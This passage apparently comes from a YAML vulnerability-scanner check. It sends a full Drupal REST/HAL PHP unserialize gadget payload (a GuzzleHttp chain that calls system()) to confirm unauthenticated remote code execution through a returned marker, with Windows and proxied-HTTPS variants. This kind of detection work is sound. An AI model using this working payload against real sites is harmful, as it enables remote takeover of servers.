    body: '{"link":[{"value":"link","options":"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:{{p.len_win}}:\"{{p.cmd_win}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links":{"type":{"href":"{{p.base}}/rest/type/shortcut/default"}}}'
    store_as: exploit_win_resp

  - id: detect-win
    action: match
    source: exploit_win_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "stridx(exploit_win_resp.body, p.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "Drupal REST/HAL unserialize gadget executed system() (cmd.exe) — the shell-collapsed per-run marker {{p.marker}} came back from POST /node/?_format=hal_json (status {{exploit_win_resp.status}}); unauthenticated RCE confirmed"
      stop: true

  # 3) HTTPS site behind a TLS-terminating proxy: Drupal builds its type links
  #    with http://, so a https:// href is rejected before unserialize().
  - id: exploit-proxy
    action: http_request
    condition: "scheme == \"https\""
    method: POST
    path: "/node/?_format=hal_json"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/hal+json"
      Accept: "application/hal+json"
    body: '{"link":[{"value":"link","options":"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:{{p.len_sh}}:\"{{p.cmd_sh}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links":{"type":{"href":"{{p.alt_base}}/rest/type/shortcut/default"}}}'
    store_as: exploit_proxy_resp

  - id: detect-proxy
    action: match
    source: exploit_proxy_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "stridx(exploit_proxy_resp.body, p.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "Drupal REST/HAL unserialize gadget executed system() (sh, type href with the site's proxied http:// scheme) — the shell-collapsed per-run marker {{p.marker}} came back from POST /node/?_format=hal_json (status {{exploit_proxy_resp.status}}); unauthenticated RCE confirmed"
      stop: true

View these feeds on GitHub